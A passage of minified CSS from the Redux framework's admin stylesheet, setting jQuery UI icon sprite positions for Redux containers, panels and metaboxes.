.ui-icon-triangle-1-w,.control-panel-redux .ui-icon-triangle-1-w,.redux-metabox .ui-icon-triangle-1-w{background-position:-96px -16px}.redux-container .ui-icon-triangle-1-nw,.control-section-redux .ui-icon-triangle-1-nw,.control-panel-redux .ui-icon-triangle-1-nw,.redux-metabox .ui-icon-triangle-1-nw{background-position:-112px -16px}.redux-container .ui-icon-triangle-2-n-s,.control-section-redux .ui-icon-triangle-2-n-s,.control-panel-redux .ui-icon-triangle-2-n-s,.redux-metabox .ui-icon-triangle-2-n-s{background-position:-128px -16px}.redux-container .ui-icon-triangle-2-e-w,.control-section-redux .ui-icon-triangle-2-e-w,.control-panel-redux .ui-icon-triangle-2-e-w,.redux-metabox .ui-icon-triangle-2-e-w{background-position:-144px -16px}.redux-container .ui-icon-arrow-1-n,.control-section-redux .ui-icon-arrow-1-n,.control-panel-redux .ui-icon-arrow-1-n,.redux-metabox .ui-icon-arrow-1-n{background-position:0 -32px}.redux-container .ui-icon-arrow-1-ne,.control-section-redux .ui-icon-arrow-1-ne,.control-panel-redux .ui-icon-arrow-1-ne,.redux-metabox .ui-icon-arrow-1-ne{background-position:-16px -32px}.redux-container .ui-icon-arrow-1-e,.control-section-redux .ui-icon-arrow-1-e,.control-panel-redux .ui-icon-arrow-1-e,.redux-metabox .ui-icon-arrow-1-e{background-position:-32px -32px}.redux-container .ui-icon-arrow-1-se,.control-section-redux .ui-icon-arrow-1-se,.control-panel-redux .ui-icon-arrow-1-se,.redux-metabox .ui-icon-arrow-1-se{background-position:-48px -32px}.redux-container .ui-icon-arrow-1-s,.control-section-redux .ui-icon-arrow-1-s,.control-panel-redux .ui-icon-arrow-1-s,.redux-metabox .ui-icon-arrow-1-s{background-position:-64px -32px}.redux-container .ui-icon-arrow-1-sw,.control-section-redux .ui-icon-arrow-1-sw,.control-panel-redux .ui-icon-arrow-1-sw,.redux-metabox .ui-icon-arrow-1-sw{background-position:-80px -32px}.redux-container .ui-icon-arrow-1-w,.control-section-redux .ui-icon-arrow-1-w,.control-panel-redux .ui-icon-arrow-1-w,.redux-metabox .ui-icon-arrow-1-w{background-position:-96px -32px}.redux-container .ui-icon-arrow-1-nw,.control-section-redux .ui-icon-arrow-1-nw,.control-panel-redux .ui-icon-arrow-1-nw,.redux-metabox .ui-icon-arrow-1-nw{background-position:-112px -32px}.redux-container .ui-icon-arrow-2-n-s,.control-section-redux .ui-icon-arrow-2-n-s,.control-panel-redux .ui-icon-arrow-2-n-s,.redux-metabox .ui-icon-arrow-2-n-s{background-position:-128px -32px}.redux-container .ui-icon-arrow-2-ne-sw,.control-section-redux .ui-icon-arrow-2-ne-sw,.control-panel-redux .ui-icon-arrow-2-ne-sw,.redux-metabox .ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.redux-container .ui-icon-arrow-2-e-w,.control-section-redux .ui-icon-arrow-2-e-w,.control-panel-redux .ui-icon-arrow-2-e-w,.redux-metabox .ui-icon-arrow-2-e-w{background-position:-160px -32px}.redux-container .ui-icon-arrow-2-se-nw,.control-section-redux .ui-icon-arrow-2-se-nw,.control-panel-redux .ui-icon-arrow-2-se-nw,.redux-metabox .ui-icon-arrow-2-se-nw{background-position:-176px -32px}.redux-container .ui-icon-arrowstop-1-n,.control-section-redux .ui-icon-arrowstop-1-n,.control-panel-redux .ui-icon-arrowstop-1-n,.redux-metabox .ui-icon-arrowstop-1-n{background-position:-192px -32px}.redux-container .ui-icon-arrowstop-1-e,.control-section-redux .ui-icon-arrowstop-1-e,.control-panel-redux .ui-icon-arrowstop-1-e,.redux-metabox .ui-icon-arrowstop-1-e{background-position:-208px -32px}.redux-container .ui-icon-arrowstop-1-s,.control-section-redux .ui-icon-arrowstop-1-s,.control-panel-redux .ui-icon-arrowstop-1-s,.redux-metabox .ui-icon-arrowstop-1-s{background-position:-224px -32px}.redux-container .ui-icon-arrowstop-1-w,.control-section-redux .ui-icon-arrowstop-1-w,.control-panel-redux .ui-icon-arrowstop-1-w,.redux-metabox .ui-icon-arrowstop-1-w{background-position:-240px -32px}.redux-container .ui-icon-arrowthick-1-n,.control-section-redux .ui-icon-arrowthick-1-n,.control-panel-redux .ui-icon-arrowthick-1-n,.redux-metabox .ui-icon-arrowthick-1-n{background-position:0 -48px}.redux-container .ui-icon-arrowthick-1-ne,.control-section-redux .ui-icon-arrowthick-1-ne,.control-panel-redux .ui-icon-arrowthick-1-ne,.redux-metabox .ui-icon-arrowthick-1-ne{background-position:-16px -48px}.redux-container .ui-icon-arrowthick-1-e,.control-section-redux .ui-icon-arrowthick-1-e,.control-panel-redux .ui-icon-arrowthick-1-e,.redux-metabox .ui-icon-arrowthick-1-e{background-position:-32px -48px}.redux-container .ui-icon-arrowthick-1-se,.control-section-redux .ui-icon-arrowthick-1-se,.control-panel-redux .ui-icon-arrowthick-1-se,.redux-metabox .ui-icon-arrowthick-1-se{background-position:-48px -48px}.redux-container .ui-icon-arrowthick-1-s,.control-section-redux .ui-icon-arrowthick-1-s,.control-panel-redux .ui-icon-arrowthick-1-s,.redux-metabox .ui-icon-arrowthick-1-s{background-position:-64px -48px}.redux-container .ui-icon-arrowthick-1-sw,.control-section-redux .ui-icon-arrowthick-1-sw,.control-panel-redux .ui-icon-arrowthick-1-sw,.redux-metabox .ui-icon-arrowthick-1-sw{background-position:-80px -48px}.redux-container .ui-icon-arrowthick-1-w,.control-section-redux .ui-icon-arrowthick-1-w,.control-panel-redux .ui-icon-arrowthick-1-w,.redux-metabox .ui-icon-arrowthick-1-w{background-position:-96px -48px}.redux-container .ui-icon-arrowthick-1-nw,.control-section-redux .ui-icon-arrowthick-1-nw,.control-panel-redux .ui-icon-arrowthick-1-nw,.redux-metabox .ui-icon-arrowthick-1-nw{background-position:-112px -48px}.redux-container .ui-icon-arrowthick-2-n-s,.control-section-redux .ui-icon-arrowthick-2-n-s,.control-panel-redux .ui-icon-arrowthick-2-n-s,.redux-metabox .ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.redux-container .ui-icon-arrowthick-2-ne-sw,.control-section-redux .ui-icon-arrowthick-2-ne-sw,.control-panel-redux .ui-icon-arrowthick-2-ne-sw,.redux-metabox .ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.redux-container .ui-icon-arrowthick-2-e-w,.control-section-redux .ui-icon-arrowthick-2-e-w,.control-panel-redux .ui-icon-arrowthick-2-e-w,.redux-metabox .ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.redux-container .ui-icon-arrowthick-2-se-nw,.control-section-redux .ui-icon-arrowthick-2-se-nw,.control-panel-redux .ui-icon-arrowthick-2-se-nw,.redux-metabox .ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.redux-container .ui-icon-arrowthickstop-1-n,.control-section-redux .ui-icon-arrowthickstop-1-n,.control-panel-redux .ui-icon-arrowthickstop-1-n,.redux-metabox .ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.redux-container .ui-icon-arrowthickstop-1-e,.control-section-redux .ui-icon-arrowthickstop-1-e,.control-panel-redux .ui-icon-arrowthickstop-1-e,.redux-metabox .ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.redux-container .ui-icon-arrowthickstop-1-s,.control-section-redux .ui-icon-arrowthickstop-1-s,.control-panel-redux .ui-icon-arrowthickstop-1-s,.redux-metabox .ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.redux-container .ui-icon-arrowthickstop-1-w,.control-section-redux .ui-icon-arrowthickstop-1-w,.control-panel-redux .ui-icon-arrowthickstop-1-w,.redux-metabox .ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.redux-container .ui-icon-arrowreturnthick-1-w,.control-section-redux .ui-icon-arrowreturnthick-1-w,.control-panel-redux .ui-icon-arrowreturnthick-1-w,.redux-metabox .ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.redux-container .ui-icon-arrowreturnthick-1-n,.control-section-redux .ui-icon-arrowreturnthick-1-n,.control-panel-redux .ui-icon-arrowreturnthick-1-n,.redux-metabox .ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.redux-container .ui-icon-arrowreturnthick-1-e,.control-section-redux .ui-icon-arrowreturnthick-1-e,.control-panel-redux .ui-icon-arrowreturnthick-1-e,.redux-metabox .ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.redux-container .ui-icon-arrowreturnthick-1-s,.control-section-redux .ui-icon-arrowreturnthick-1-s,.control-panel-redux .ui-icon-arrowreturnthick-1-s,.redux-metabox .ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.redux-container .ui-icon-arrowreturn-1-w,.control-section-redux .ui-icon-arrowreturn-1-w,.control-panel-redux .ui-icon-arrowreturn-1-w,.redux-metabox .ui-icon-arrowreturn-1-w{background-position:-64px -64px}.redux-container .ui-icon-arrowreturn-1-n,.control-section-redux .ui-icon-arrowreturn-1-n,.control-panel-redux .ui-icon-arrowreturn-1-n,.redux-metabox .ui-icon-arrowreturn-1-n{background-position:-80px -64px}.redux-container .ui-icon-arrowreturn-1-e,.control-section-redux .ui-icon-arrowreturn-1-e,.control-panel-redux .ui-icon-arrowreturn-1-e,.redux-metabox .ui-icon-arrowreturn-1-e{background-position:-96px -64px}.redux-container .ui-icon-arrowreturn-1-s,.control-section-redux .ui-icon-arrowreturn-1-s,.control-panel-redux .ui-icon-arrowreturn-1-s,.redux-metabox .ui-icon-arrowreturn-1-s{background-position:-112px -64px}.redux-container .ui-icon-arrowrefresh-1-w,.control-section-redux .ui-icon-arrowrefresh-1-w,.control-panel-redux .ui-icon-arrowrefresh-1-w,.redux-metabox .ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.redux-container .ui-icon-arrowrefresh-1-n,.control-section-redux .ui-icon-arrowrefresh-1-n,.control-panel-redux .ui-icon-arrowrefresh-1-n,.redux-metabox .ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.redux-container .ui-icon-arrowrefresh-1-e,.control-section-redux .ui-icon-arrowrefresh-1-e,.control-panel-redux .ui-icon-arrowrefresh-1-e,.redux-metabox .ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.redux-container .ui-icon-arrowrefresh-1-s,.control-section-redux .ui-icon-arrowrefresh-1-s,.control-panel-redux .ui-icon-arrowrefresh-1-s,.redux-metabox .ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.redux-container .ui-icon-arrow-4,.control-section-redux .ui-icon-arrow-4,.control-panel-redux .ui-icon-arrow-4,.redux-metabox .ui-icon-arrow-4{background-position:0 -80px}.redux-container .ui-icon-arrow-4-diag,.control-section-redux .ui-icon-arrow-4-diag,.control-panel-redux .ui-icon-arrow-4-diag,.redux-metabox .ui-icon-arrow-4-diag{background-position:-16px -80px}.redux-container .ui-icon-extlink,.control-section-redux .ui-icon-extlink,.control-panel-redux .ui-icon-extlink,.redux-metabox .ui-icon-extlink{background-position:-32px -80px}.redux-container .ui-icon-newwin,.control-section-redux .ui-icon-newwin,.control-panel-redux .ui-icon-newwin,.redux-metabox .ui-icon-newwin{background-position:-48px -80px}.redux-container .ui-icon-refresh,.control-section-redux .ui-icon-refresh,.control-panel-redux .ui-icon-refresh,.redux-metabox .ui-icon-refresh{background-position:-64px -80px}.redux-container .ui-icon-shuffle,.control-section-redux .ui-icon-shuffle,.control-panel-redux .ui-icon-shuffle,.redux-metabox .ui-icon-shuffle{background-position:-80px -80px}.redux-container .ui-icon-transfer-e-w,.control-section-redux .ui-icon-transfer-e-w,.control-panel-redux .ui-icon-transfer-e-w,.redux-metabox .ui-icon-transfer-e-w{background-position:-96px -80px}.redux-container .ui-icon-transferthick-e-w,.control-section-redux .ui-icon-transferthick-e-w,.control-panel-redux .ui-icon-transferthick-e-w,.redux-metabox .ui-icon-transferthick-e-w{background-position:-112px -80px}.redux-container .ui-icon-folder-collapsed,.control-section-redux .ui-icon-folder-collapsed,.control-panel-redux .ui-icon-folder-collapsed,.redux-metabox .ui-icon-folder-collapsed{background-position:0 -96px}.redux-container .ui-icon-folder-open,.control-section-redux .ui-icon-folder-open,.control-panel-redux .ui-icon-folder-open,.redux-metabox .ui-icon-folder-open{background-position:-16px -96px}.redux-container .ui-icon-document,.control-section-redux .ui-icon-document,.control-panel-redux .ui-icon-document,.redux-metabox .ui-icon-document{background-position:-32px -96px}.redux-container .ui-icon-document-b,.control-section-redux .ui-icon-document-b,.control-panel-redux .ui-icon-document-b,.redux-metabox .ui-icon-document-b{background-position:-48px -96px}.redux-container .ui-icon-note,.control-section-redux .ui-icon-note,.control-panel-redux .ui-icon-note,.redux-metabox .ui-icon-note{background-position:-64px -96px}.redux-container .ui-icon-mail-closed,.control-section-redux .ui-icon-mail-closed,.control-panel-redux .ui-icon-mail-closed,.redux-metabox .ui-icon-mail-closed{background-position:-80px -96px}.redux-container .ui-icon-mail-open,.control-section-redux .ui-icon-mail-open,.control-panel-redux .ui-icon-mail-open,.redux-metabox .ui-icon-mail-open{background-position:-96px -96px}.redux-container .ui-icon-suitcase,.control-section-redux .ui-icon-suitcase,.control-panel-redux .ui-icon-suitcase,.redux-metabox .ui-icon-suitcase{background-position:-112px -96px}.redux-container .ui-icon-comment,.control-section-redux .ui-icon-comment,.control-panel-redux .ui-icon-comment,.redux-metabox .ui-icon-comment{background-position:-128px -96px}.redux-container .ui-icon-person,.control-section-redux .ui-icon-person,.control-panel-redux .ui-icon-person,.redux-metabox .ui-icon-person{background-position:-144px -96px}.redux-container .ui-icon-print,.control-section-redux .ui-icon-print,.control-panel-redux .ui-icon-print,.redux-metabox .ui-icon-print{background-position:-160px -96px}.redux-container .ui-icon-trash,.control-section-redux .ui-icon-trash,.control-panel-redux .ui-icon-trash,.redux-metabox .ui-icon-trash{background-position:-176px -96px}.redux-container .ui-icon-locked,.control-section-redux .ui-icon-locked,.control-panel-redux .ui-icon-locked,.redux-metabox .ui-icon-locked{background-position:-192px -96px}.redux-container .ui-icon-unlocked,.control-section-redux .ui-icon-unlocked,.control-panel-redux .ui-icon-unlocked,.redux-metabox .ui-icon-unlocked{background-position:-208px -96px}.redux-container .ui-icon-bookmark,.control-section-redux .ui-icon-bookmark,.control-panel-redux .ui-icon-bookmark,.redux-metabox .ui-icon-bookmark{background-position:-224px -96px}.redux-container .ui-icon-tag,.control-section-redux .ui-icon-tag,.control-panel-redux .ui-icon-tag,.redux-metabox .ui-icon-tag{background-position:-240px -96px}.redux-container .ui-icon-home,.control-section-redux .ui-icon-home,.control-panel-redux .ui-icon-home,.redux-metabox .ui-icon-home{background-position:0 -112px}.redux-container .ui-icon-flag,.control-section-redux .ui-icon-flag,.control-panel-redux .ui-icon-flag,.redux-metabox .ui-icon-flag{background-position:-16px -112px}.redux-container .ui-icon-calendar,.control-section-redux .ui-icon-calendar,.control-panel-redux .ui-icon-calendar,.redux-metabox .ui-icon-calendar{background-position:-32px -112px}.redux-container .ui-icon-cart,.control-section-redux .ui-icon-cart,.control-panel-redux .ui-icon-cart,.redux-metabox .ui-icon-cart{background-position:-48px -112px}.redux-container .ui-icon-pencil,.control-section-redux .ui-icon-pencil,.control-panel-redux .ui-icon-pencil,.redux-metabox .ui-icon-pencil{background-position:-64px -112px}.redux-container .ui-icon-clock,.control-section-redux .ui-icon-clock,.control-panel-redux .ui-icon-clock,.redux-metabox .ui-icon-clock{background-position:-80px -112px}.redux-container .ui-icon-disk,.control-section-redux .ui-icon-disk,.control-panel-redux .ui-icon-disk,.redux-metabox .ui-icon-disk{background-position:-96px -112px}.redux-container .ui-icon-calculator,.control-section-redux .ui-icon-calculator,.control-panel-redux .ui-icon-calculator,.redux-metabox .ui-icon-calculator{background-position:-112px -112px}.redux-container .ui-icon-zoomin,.control-section-redux .ui-icon-zoomin,.control-panel-redux .ui-icon-zoomin,.redux-metabox .ui-icon-zoomin{background-position:-128px -112px}.redux-container .ui-icon-zoomout,.control-section-redux .ui-icon-zoomout,.control-panel-redux .ui-icon-zoomout,.redux-metabox .ui-icon-zoomout{background-position:-144px -112px}.redux-container .ui-icon-search,.control-section-redux .ui-icon-search,.control-panel-redux .ui-icon-search,.redux-metabox .ui-icon-search{background-position:-160px -112px}.redux-container .ui-icon-wrench,.control-section-redux .ui-icon-wrench,.control-panel-redux .ui-icon-wrench,.redux-metabox .ui-icon-wrench{background-position:-176px -112px}.redux-container .ui-icon-gear,.control-section-redux .ui-icon-gear,.control-panel-redux .ui-icon-gear,.redux-metabox .ui-icon-gear{background-position:-192px -112px}.redux-container .ui-icon-heart,.control-section-redux .ui-icon-heart,.control-panel-redux .ui-icon-heart,.redux-metabox .ui-icon-heart{background-position:-208px -112px}.redux-container .ui-icon-star,.control-section-redux .ui-icon-star,.control-panel-redux .ui-icon-star,.redux-metabox .ui-icon-star{background-position:-224px -112px}.redux-container .ui-icon-link,.control-section-redux .ui-icon-link,.control-panel-redux .ui-icon-link,.redux-metabox .ui-icon-link{background-position:-240px -112px}.redux-container .ui-icon-cancel,.control-section-redux .ui-icon-cancel,.control-panel-redux .ui-icon-cancel,.redux-metabox .ui-icon-cancel{background-position:0 -128px}.redux-container .ui-icon-plus,.control-section-redux .ui-icon-plus,.control-panel-redux .ui-icon-plus,.redux-metabox .ui-icon-plus{background-position:-16px -128px}.redux-container .ui-icon-plusthick,.control-section-redux .ui-icon-plusthick,.control-panel-redux .ui-icon-plusthick,.redux-metabox .ui-icon-plusthick{background-position:-32px -128px}.redux-container .ui-icon-minus,.control-section-redux .ui-icon-minus,.control-panel-redux .ui-icon-minus,.redux-metabox .ui-icon-minus{background-position:-48px -128px}.redux-container .ui-icon-minusthick,.control-section-redux .ui-icon-minusthick,.control-panel-redux .ui-icon-minusthick,.redux-metabox .ui-icon-minusthick{background-position:-64px -128px}.redux-container .ui-icon-close,.control-section-redux .ui-icon-close,.control-panel-redux .ui-icon-close,.redux-metabox .ui-icon-close{background-position:-80px -128px}.redux-container .ui-icon-closethick,.control-section-redux .ui-icon-closethick,.control-panel-redux .ui-icon-closethick,.redux-metabox .ui-icon-closethick{background-position:-96px -128px}.redux-container .ui-icon-key,.control-section-redux .ui-icon-key,.control-panel-redux .ui-icon-key,.redux-metabox .ui-icon-key{background-position:-112px -128px}.redux-container .ui-icon-lightbulb,.control-section-redux .ui-icon-lightbulb,.control-panel-redux .ui-icon-lightbulb,.redux-metabox .ui-icon-lightbulb{background-position:-128px -128px}.redux-container .ui-icon-scissors,.control-section-redux .ui-icon-scissors,.control-panel-redux .ui-icon-scissors,.redux-metabox .ui-icon-scissors{background-position:-144px -128px}.redux-container .ui-icon-clipboard,.control-section-redux .ui-icon-clipboard,.control-panel-redux .ui-icon-clipboard,.redux-metabox .ui-icon-clipboard{background-position:-160px -128px}.redux-container .ui-icon-copy,.control-section-redux .ui-icon-copy,.control-panel-redux .ui-icon-copy,.redux-metabox .ui-icon-copy{background-position:-176px -128px}.redux-container .ui-icon-contact,.control-section-redux .ui-icon-contact,.control-panel-redux .ui-icon-contact,.redux-metabox .ui-icon-contact{background-position:-192px -128px}.redux-container .ui-icon-image,.control-section-redux .ui-icon-image,.control-panel-redux .ui-icon-image,.redux-metabox .ui-icon-image{background-position:-208px -128px}.redux-container .ui-icon-video,.control-section-redux .ui-icon-video,.control-panel-redux .ui-icon-video,.redux-metabox .ui-icon-video{background-position:-224px -128px}.redux-container .ui-icon-script,.control-section-redux .ui-icon-script,.control-panel-redux .ui-icon-script,.redux-metabox .ui-icon-script{background-position:-240px -128px}.redux-container .ui-icon-alert,.control-section-redux .ui-icon-alert,.control-panel-redux .ui-icon-alert,.redux-metabox .ui-icon-alert{background-position:0 -144px}.redux-container .ui-icon-info,.control-section-redux .ui-icon-info,.control-panel-redux .ui-icon-info,.redux-metabox .ui-icon-info{background-position:-16px -144px}.redux-container .ui-icon-notice,.control-section-redux .ui-icon-notice,.control-panel-redux .ui-icon-notice,.redux-metabox .ui-icon-notice{background-position:-32px -144px}.redux-container .ui-icon-help,.control-section-redux .ui-icon-help,.control-panel-redux .ui-icon-help,.redux-metabox .ui-icon-help{background-position:-48px -144px}.redux-container .ui-icon-check,.control-section-redux .ui-icon-check,.control-panel-redux .ui-icon-check,.redux-metabox .ui-icon-check{background-position:-64px -144px}.redux-container .ui-icon-bullet,.control-section-redux .ui-icon-bullet,.control-panel-redux .ui-icon-bullet,.redux-metabox .ui-icon-bullet{background-position:-80px -144px}.redux-container .ui-icon-radio-off,.control-section-redux .ui-icon-radio-off,.control-panel-redux .ui-icon-radio-off,.redux-metabox .ui-icon-radio-off{background-position:-96px -144px}.redux-container .ui-icon-radio-on,.control-section-redux .ui-icon-radio-on,.control-panel-redux .ui-icon-radio-on,.redux-metabox .ui-icon-radio-on{background-position:-112px -144px}.redux-container .ui-icon-pin-w,.control-section-redux .ui-icon-pin-w,.control-panel-redux .ui-icon-pin-w,.redux-metabox .ui-icon-pin-w{background-position:-128px -144px}.redux-container .ui-icon-pin-s,.control-section-redux .ui-icon-pin-s,.control-panel-redux .ui-icon-pin-s,.redux-metabox .ui-icon-pin-s{background-position:-144px -144px}.redux-container .ui-icon-play,.control-section-redux .ui-icon-play,.control-panel-redux .ui-icon-play,.redux-metabox .ui-icon-play{background-position:0 -160px}.redux-container .ui-icon-pause,.control-section-redux .ui-icon-pause,.control-panel-redux .ui-icon-pause,.redux-metabox .ui-icon-pause{background-position:-16px -160px}.redux-container .ui-icon-seek-next,.control-section-redux .ui-icon-seek-next,.control-panel-redux .ui-icon-seek-next,.redux-metabox .ui-icon-seek-next{background-position:-32px -160px}.redux-container .ui-icon-seek-prev,.control-section-redux .ui-icon-seek-prev,.control-panel-redux .ui-icon-seek-prev,.redux-metabox .ui-icon-seek-prev{background-position:-48px -160px}.redux-container .ui-icon-seek-end,.control-section-redux .ui-icon-seek-end,.control-panel-redux .ui-icon-seek-end,.redux-metabox .ui-icon-seek-end{background-position:-64px -160px}.redux-container .ui-icon-seek-start,.control-section-redux .ui-icon-seek-start,.control-panel-redux .ui-icon-seek-start,.redux-metabox .ui-icon-seek-start{background-position:-80px -160px}.redux-container .ui-icon-seek-first,.control-section-redux .ui-icon-seek-first,.control-panel-redux .ui-icon-seek-first,.redux-metabox .ui-icon-seek-first{background-position:-80px -160px}.redux-container .ui-icon-stop,.control-section-redux .ui-icon-stop,.control-panel-redux .ui-icon-stop,.redux-metabox .ui-icon-stop{background-position:-96px -160px}.redux-container .ui-icon-eject,.control-section-redux .ui-icon-eject,.control-panel-redux .ui-icon-eject,.redux-metabox .ui-icon-eject{background-position:-112px -160px}.redux-container .ui-icon-volume-off,.control-section-redux .ui-icon-volume-off,.control-panel-redux .ui-icon-volume-off,.redux-metabox .ui-icon-volume-off{background-position:-128px -160px}.redux-container .ui-icon-volume-on,.control-section-redux .ui-icon-volume-on,.control-panel-redux .ui-icon-volume-on,.redux-metabox .ui-icon-volume-on{background-position:-144px -160px}.redux-container .ui-icon-power,.control-section-redux .ui-icon-power,.control-panel-redux .ui-icon-power,.redux-metabox .ui-icon-power{background-position:0 -176px}.redux-container .ui-icon-signal-diag,.control-section-redux .ui-icon-signal-diag,.control-panel-redux .ui-icon-signal-diag,.redux-metabox .ui-icon-signal-diag{background-position:-16px -176px}.redux-container .ui-icon-signal,.control-section-redux .ui-icon-signal,.control-panel-redux .ui-icon-signal,.redux-metabox .ui-icon-signal{background-position:-32px -176px}.redux-container .ui-icon-battery-0,.control-section-redux .ui-icon-battery-0,.control-panel-redux .ui-icon-battery-0,.redux-metabox .ui-icon-battery-0{background-position:-48px -176px}.redux-container .ui-icon-battery-1,.control-section-redux .ui-icon-battery-1,.control-panel-redux .ui-icon-battery-1,.redux-metabox .ui-icon-battery-1{background-position:-64px -176px}.redux-container .ui-icon-battery-2,.control-section-redux .ui-icon-battery-2,.control-panel-redux .ui-icon-battery-2,.redux-metabox .ui-icon-battery-2{background-position:-80px -176px}.redux-container .ui-icon-battery-3,.control-section-redux .ui-icon-battery-3,.control-panel-redux .ui-icon-battery-3,.redux-metabox .ui-icon-battery-3{background-position:-96px -176px}.redux-container .ui-icon-circle-plus,.control-section-redux .ui-icon-circle-plus,.control-panel-redux .ui-icon-circle-plus,.redux-metabox .ui-icon-circle-plus{background-position:0 -192px}.redux-container .ui-icon-circle-minus,.control-section-redux .ui-icon-circle-minus,.control-panel-redux .ui-icon-circle-minus,.redux-metabox .ui-icon-circle-minus{background-position:-16px -192px}.redux-container .ui-icon-circle-close,.control-section-redux .ui-icon-circle-close,.control-panel-redux .ui-icon-circle-close,.redux-metabox .ui-icon-circle-close{background-position:-32px -192px}.redux-container .ui-icon-circle-triangle-e,.control-section-redux .ui-icon-circle-triangle-e,.control-panel-redux .ui-icon-circle-triangle-e,.redux-metabox .ui-icon-circle-triangle-e{background-position:-48px -192px}.redux-container .ui-icon-circle-triangle-s,.control-section-redux .ui-icon-circle-triangle-s,.control-panel-redux .ui-icon-circle-triangle-s,.redux-metabox .ui-icon-circle-triangle-s{background-position:-64px -192px}.redux-container .ui-icon-circle-triangle-w,.control-section-redux .ui-icon-circle-triangle-w,.control-panel-redux .ui-icon-circle-triangle-w,.redux-metabox .ui-icon-circle-triangle-w{background-position:-80px -192px}.redux-container .ui-icon-circle-triangle-n,.control-section-redux .ui-icon-circle-triangle-n,.control-panel-redux .ui-icon-circle-triangle-n,.redux-metabox .ui-icon-circle-triangle-n{background-position:-96px -192px}.redux-container .ui-icon-circle-arrow-e,.control-section-redux .ui-icon-circle-arrow-e,.control-panel-redux .ui-icon-circle-arrow-e,.redux-metabox .ui-icon-circle-arrow-e{background-position:-112px -192px}.redux-container .ui-icon-circle-arrow-s,.control-section-redux .ui-icon-circle-arrow-s,.control-panel-redux .ui-icon-circle-arrow-s,.redux-metabox .ui-icon-circle-arrow-s{background-position:-128px -192px}.redux-container .ui-icon-circle-arrow-w,.control-section-redux .ui-icon-circle-arrow-w,.control-panel-redux .ui-icon-circle-arrow-w,.redux-metabox .ui-icon-circle-arrow-w{background-position:-144px -192px}.redux-container .ui-icon-circle-arrow-n,.control-section-redux .ui-icon-circle-arrow-n,.control-panel-redux .ui-icon-circle-arrow-n,.redux-metabox .ui-icon-circle-arrow-n{background-position:-160px -192px}.redux-container .ui-icon-circle-zoomin,.control-section-redux .ui-icon-circle-zoomin,.control-panel-redux .ui-icon-circle-zoomin,.redux-metabox .ui-icon-circle-zoomin{background-position:-176px -192px}.redux-container .ui-icon-circle-zoomout,.control-section-redux .ui-icon-circle-zoomout,.control-panel-redux .ui-icon-circle-zoomout,.redux-metabox .ui-icon-circle-zoomout{background-position:-192px -192px}.redux-container .ui-icon-circle-check,.control-section-redux .ui-icon-circle-check,.control-panel-redux .ui-icon-circle-check,.redux-metabox .ui-icon-circle-check{background-position:-208px -192px}.redux-container .ui-icon-circlesmall-plus,.control-section-redux .ui-icon-circlesmall-plus,.control-panel-redux .ui-icon-circlesmall-plus,.redux-metabox .ui-icon-circlesmall-plus{background-position:0 -208px}.redux-container .ui-icon-circlesmall-minus,.control-section-redux .ui-icon-circlesmall-minus,.control-panel-redux .ui-icon-circlesmall-minus,.redux-metabox .ui-icon-circlesmall-minus{background-position:-16px -208px}.redux-container .ui-icon-circlesmall-close,.control-section-redux .ui-icon-circlesmall-close,.control-panel-redux .ui-icon-circlesmall-close,.redux-metabox .ui-icon-circlesmall-close{background-position:-32px -208px}.redux-container .ui-icon-squaresmall-plus,.control-section-redux .ui-icon-squaresmall-plus,.control-panel-redux .ui-icon-squaresmall-plus,.redux-metabox .ui-icon-squaresmall-plus{background-position:-48px -208px}.redux-container .ui-icon-squaresmall-minus,.control-section-redux .ui-icon-squaresmall-minus,.control-panel-redux .ui-icon-squaresmall-minus,.redux-metabox .ui-icon-squaresmall-minus{background-position:-64px -208px}.redux-container .ui-icon-squaresmall-close,.control-section-redux .ui-icon-squaresmall-close,.control-panel-redux .ui-icon-squaresmall-close,.redux-metabox .ui-icon-squaresmall-close{background-position:-80px -208px}.redux-container .ui-icon-grip-dotted-vertical,.control-section-redux .ui-icon-grip-dotted-vertical,.control-panel-redux .ui-icon-grip-dotted-vertical,.redux-metabox .ui-icon-grip-dotted-vertical{background-position:0 -224px}.redux-container .ui-icon-grip-dotted-horizontal,.control-section-redux .ui-icon-grip-dotted-horizontal,.control-panel-redux .ui-icon-grip-dotted-horizontal,.redux-metabox .ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.redux-container .ui-icon-grip-solid-vertical,.control-section-redux .ui-icon-grip-solid-vertical,.control-panel-redux .ui-icon-grip-solid-vertical,.redux-metabox .ui-icon-grip-solid-vertical{background-position:-32px -224px}.redux-container .ui-icon-grip-solid-horizontal,.control-section-redux .ui-icon-grip-solid-horizontal,.control-panel-redux .ui-icon-grip-solid-horizontal,.redux-metabox .ui-icon-grip-solid-horizontal{background-position:-48px -224px}.redux-container .ui-icon-gripsmall-diagonal-se,.control-section-redux .ui-icon-gripsmall-diagonal-se,.control-panel-redux .ui-icon-gripsmall-diagonal-se,.redux-metabox .ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.redux-container .ui-icon-grip-diagonal-se,.control-section-redux .ui-icon-grip-diagonal-se,.control-panel-redux .ui-icon-grip-diagonal-se,.redux-metabox .ui-icon-grip-diagonal-se{background-position:-80px -224px}.redux-container .ui-corner-all,.redux-container .ui-corner-top,.redux-container .ui-corner-left,.redux-container .ui-corner-tl,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-top,.control-section-redux .ui-corner-left,.control-section-redux .ui-corner-tl,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-top,.control-panel-redux .ui-corner-left,.control-panel-redux .ui-corner-tl,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-top,.redux-metabox .ui-corner-left,.redux-metabox 